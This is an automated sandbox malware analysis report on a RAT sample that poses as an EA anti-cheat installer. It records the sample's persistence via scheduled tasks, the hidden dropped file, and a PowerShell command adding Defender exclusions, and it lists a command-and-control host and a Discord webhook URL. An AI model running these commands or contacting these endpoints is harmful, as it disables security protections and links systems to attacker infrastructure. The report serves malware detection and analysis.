Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected SilverRat

Source: Yara match	File source: Xyq6rvzLJs.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Xyq6rvzLJs.exe.620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Xyq6rvzLJs.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, type: DROPPED

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Memory allocated: E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Memory allocated: 1BAC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Memory allocated: 16F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Memory allocated: 1BCF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Memory allocated: 1B770000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7384			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2294			Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe TID: 4144	Thread sleep count: 237 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe TID: 4144	Thread sleep count: 263 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe TID: 5256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5524	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe TID: 6680	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Xyq6rvzLJs.exe, 00000000.00000002.2077052994.0000000001088000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC
Source: $77EAAntiCheat.Installler.exe, 0000000C.00000002.3300193565.000000001C909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA"	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "EAAntiCheat.Installler_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Queries volume information: C:\Users\user\Desktop\Xyq6rvzLJs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Queries volume information: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Queries volume information: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected SilverRat

Source: Yara match	File source: Xyq6rvzLJs.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Xyq6rvzLJs.exe.620000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Xyq6rvzLJs.exe.3f77ae8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Xyq6rvzLJs.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	21 Scheduled Task/Job	21 Scheduled Task/Job	111 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Xyq6rvzLJs.exe	63%	ReversingLabs	ByteCode-MSIL.Backdoor.Asyncrat
Xyq6rvzLJs.exe	100%	Avira	HEUR/AGEN.1313050
Xyq6rvzLJs.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	100%	Avira	HEUR/AGEN.1313050
C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	63%	ReversingLabs	ByteCode-MSIL.Backdoor.Asyncrat

Source	Detection	Scanner	Label	Link
https://g.top4top.io/p_2522c7w8u	0%	Avira URL Cloud	safe
https://g.top4top.io/p_2522c7w8u1.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kanibal.mooo.com	141.98.102.187	true	true		unknown
discord.com	162.159.137.232	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1096011178049802290/d9w9LhtbB8Cy4apceC6cLWfZWhlAAMAf3qABUNFcfpGyxXEk9Qtozf7gqlpK15fLwasp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com	$77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.000000000406E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://discord.com	$77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.000000000410B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1096011178049802290/d9w9LhtbB8Cy4apceC6cLWfZWhlAAMAf3qABUNFcfpGyxXE	$77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.top4top.io/p_2522c7w8u	$77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.top4top.io/p_2522c7w8u1.png	$77EAAntiCheat.Installler.exe, 00000017.00000002.2137877300.0000000003771000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Xyq6rvzLJs.exe, 00000000.00000002.2077667438.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp, $77EAAntiCheat.Installler.exe, 0000000C.00000002.3298160192.0000000003D29000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false
141.98.102.187	kanibal.mooo.com	Romania		9009	M247GB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1552937
Start date and time:	2024-11-09 22:52:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Xyq6rvzLJs.exe renamed because original name is a hash value
Original Sample Name:	3aab068d8c443560d02e4b58cf05e8f1b6d70f93.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@32/10@3/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target $77EAAntiCheat.Installler.exe, PID 6104 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Xyq6rvzLJs.exe

Simulations

Behavior and APIs

Time	Type	Description
16:53:04	API Interceptor	1x Sleep call for process: Xyq6rvzLJs.exe modified
16:53:09	API Interceptor	17x Sleep call for process: powershell.exe modified
22:53:10	Task Scheduler	Run new task: $77EAAntiCheat.Installler.exe path: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe s>"\$77EAAntiCheat.Installler.exe" /AsAdmin
22:53:10	Task Scheduler	Run new task: EAAntiCheat.Installler_Task-DAILY-21PM path: %MyFile%

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.137.232	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
